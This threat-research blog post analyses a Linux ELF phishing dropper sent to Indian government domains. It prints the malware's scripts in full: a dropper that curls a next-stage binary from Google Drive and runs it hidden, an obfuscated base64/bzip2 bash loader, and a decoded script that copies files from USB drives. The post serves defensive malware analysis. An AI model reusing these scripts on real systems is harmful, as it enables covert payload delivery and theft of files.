ELF Malware is Rare but Dangerous - Analyzing Linux Threats

There’s an old joke that “Linux on the desktop is the future, and it always will be”. Although linux backdoors are not always novel, because Linux accounts for <5% of desktops, initial droppers for Linux are extremely rare for an initial compromise. To put it another way, users are not getting infected by .elf file attachments from email.

Except when they do.

An email was recently uploaded to VirusTotal, showing a compromised Indian government account sending a malicious mail to separate Indian government domain. The attachment format was what raised our eyebrows, however. The ZIP attachment contained a pdf, a docx, and anELF. record scratch

Figure 1: Initial phish

Figure 2: Files unpacked that were attached

The Password is an ELF binary, that when you execute it, it pops a dialog box via:

zenity --info --no-wrap "--text=Your File Access Code is: 745 414" --title=Password

Figure 3: Dialog box that pops when the ELF is run

The pdf and docx are legitimately password protected with that password (the docx curiously doesn’t use a space in the numbers), which can be observed below:

Figure 4: Encrypted and decrypted PDF files

The “password” binary proceeds to execute a shell script, and fetch a number of files from Google Drive, all created by the account damosunday98@gmail.com.

1if ! pgrep -x "gnucoreinfo" >/dev/null; then 2 ###search for a process named gnucoreinfo, if does not exist, launch it### 3 nohup sh -c 'cd ~/.x86_32-linux-gnu && ./gnucoreinfo > /dev/null 2>&1 &' >/dev/null 2>&1 4fi 5 6if [ ! -d "$HOME/.x86_32-linux-gnu" ]; then 7 ###if .x86_32-linux-gnu is not a directory, create it### 8 mkdir "$HOME/.x86_32-linux-gnu" fi if [ ! -f "$HOME/.x86_32-linux-gnu/gnucoreinfo" ]; then 9 ### if gnucoreinfo is not a file in that directory, download it, make it executable, ### and run it in the background### 10 curl -L -o "$HOME/.x86_32-linux-gnu/gnucoreinfo" "https://drive.google[.]com/uc?export=download&id=1VXY76hUXaWcXQBdbUZYjVhOHmI6fOUHV" >/dev/null 2>&1 11 chmod +x "$HOME/.x86_32-linux-gnu/gnucoreinfo" 12 cd "$HOME/.x86_32-linux-gnu" 13 if ! pgrep -x "gnucoreinfo" >/dev/null; then 14 nohup sh -c 'cd ~/.x86_32-linux-gnu && ./gnucoreinfo > /dev/null 2>&1 &' >/dev/null 2>&1 15 fi 16 cd 17fi Figure 5: Initial bash script executed by Password ELF

Figure 5: UPX unpacked ELF from google drive

vmcoreinfo is another ELF with “DiscordGO”, and fetches three more files from Google Drive

Figure 6: Next stages fetched from Google Drive

The BID file was a token for Discord (Bot ID), but the GTK-Theme-Parse had us briefly looking sideways at the monitor

1#!/bin/bash 2"${@,,}" $BASH ${*%%u;q3} ${@,} 3<<<"$( ${*~~} p'''r''i'\ntf 'QlpoOTFBWSZTWdHbOc0AACXfgERQfPfwG19mnpu/7// 4uQAKi5O3duquuEoQUwnpTTQaNA0AAaaAHqDyg8oMhTU9MVNplHqHoIAAPUAaNHlGgASKaphIPSB 5p6mxQABoAAAaDQJTURpHoo2p6mnqaehGgMho9QANDIAeIBEp0DX1zhc/0LLXMzfNBM4FfRBW 6HuV06MYLctkahEBMAgHeV1qs5GUzLTxLKBbwmwYpqZmc2yiFsGqvgPKsxinsfpCqLypkG6I 7rO9L4Si4uNYI/kitXstCwwPgIolDI4YhlcJJSEekRiC6uaN+0XdttrAFXlfzKQmtLohAJ 8BIO5JZGflzHK5LKJKEpkYtFnczmQrppdpQFhNZsFspGM5jKBsQzzVWxW+7RYMMBZEPfZ 9kVhKZVkol0xtuGlC8zE0HJjJkZq/UXJMYaAHmoTx9C4lrjet95pcS4zin3BcBhAgHByVR10OzCz3wdp8Jt6CuXWtu4Y2w9HmDs+Y4RAzITTaAFKGUhdYgzODOVvYHIgvDU/mkcKknGcJnn6BQGU11zqsfV4jpKxANDMo6zDQpduDfSS7c5kVg6p08zyqIioFVQFT9QMy/hVETAdkwMmIEQkTBRGfdw3yc12nJRoimdtvbABQUj2ZFhIwXisFTY0RUcqliRDJQMHiz4C8okNw565ZcAjGmZCxnGgpqYspIhct313ErgMSY1EHiGyTn8EsFYwqlbdaBhSk0BPRqk0hBjr1r0xRIGOkhWJpIFIEFcIA7ERZ5C82y1Q28814vgVRGqkZG7FxhTVANA79M17YzjRbbbq4LqKmlRREKIkwGInlJkOfMZJ3mbGgmPV1MMhykHsKqKp15Im1xaXlIoMxW2NuHlHJlV8rOmaEs0TpBomgTcFv8Ku2t+7Eg0kx5JMBWQia+UCSFn49KiGj/16F3JFOFCQ0ds5zQA==' ${*/af*FB} | ${*//;=gV/%_MnfSkx} ba"17 s "${@//ZJ6xPX7n/5oHg}e\64 -d " ${@^^}" | 18 ${*#9V-Z1>} bu$'\u006e'z''ip" ${@,,}19"2 -c ${*~~} )" "${@//\[Q1m%W2/\[Duwv3bC}" ${*//\(^$\Otl/__+y7p} Figure 7: obfuscated bash fetched

Your eyes can probably notice the base64 chunk, as well as simple obfuscation around ‘printf’ and ‘bunzip2’. You may notice junk obfuscation, such as ${@^^} and ${@,,}, which simply make script arguments upper and lower case. It’s easiest to simply decode the base64 and bunzip it, which ironically gives us an unobfuscated script, neatly documented. As you can see, it copies files from usb sticks, and records the metadata. There was a separate but related attack mentioned bySir TomatVolexity, as well as researchers atBlackberry. Rather than reinvent the wheel, you can head there to see more technical details on the ELF, including some slick command and control using emojis. The rest of this blog will be showing how to find variants.

1# Define the directory paths 2USB_DIR="/media/$USER" 3RECORD_FILE="record.txt" 4DEST_DIR="$HOME/Documents/swift2" 5 6# Function to copy files from USB drive to destination folder 7copy_files() { 8 device_name="$1" 9 device_path="$USB_DIR/$device_name" 10 folder_name="$DEST_DIR/$device_name" 11 record_file="$folder_name/$RECORD_FILE" 12 13 # Create destination folder if it doesn't exist 14 mkdir -p "$folder_name" 15 16 # Copy new files to destination folder, rename, and add to record.txt 17 find "$device_path" -type f | while read -r filepath; do 18 filename=$(basename "$filepath") 19 20 # Check if filename already exists in record.txt 21 if ! grep -q "^$filename$" "$record_file"; then 22 echo "$filename" >> "$record_file" 23 cp "$filepath" "$folder_name/UZB_$filename" 24 echo "File copied: $filename" 25 else 26 echo "File skipped: $filename" 27 fi done 28} 29 30# Main loop 31while true; do 32 # Check for connected USB drives 33 drives=($USB_DIR/*) 34 35 # Iterate through connected drives 36 for drive_path in "${drives[@]}"; do 37 drive=$(basename "$drive_path") 38 39 # Check if record.txt exists for the drive 40 if [ ! -d "$DEST_DIR/$drive" ] || [ ! -f "$DEST_DIR/$drive/$RECORD_FILE" ]; then 41 # Copy files if record.txt doesn't exist 42 copy_files "$drive" 43 else 44 # Copy new files to destination folder, rename, and add to record.txt 45 copy_files "$drive" 46 fi 47 done 48 49 # Wait for 10 seconds before the next iteration 50 sleep 10 51done Figure 8: Final script that polls /media mount point looking for interesting files to steal

Figure 9: Diagram of execution

To find similar files, we noticed interesting pivot points such as:

Figure 10: suggested ways to find similar files

We were able to find some similar top level files, and the subsequent next stages. We have shared these on our github at the end of the post

Figure 11: CARA assisting the analyst find variants

Figure 12: Other top-level droppers discovered

Figure 13: Subsequent files dropped by each top-level file

Figure 14: Other validated vendor names for this actor

Our github provides a download to both the raw samples mentioned in the blog, as well as the indicators mentioned.

Acknowledgements

The authors would like to thank the reviewers, as well as peer vendors, for their comments and corrections. Please get in touch at research@strikeready.comresearch at strikeready dot com if you have corrections, or would like to collaborate on research.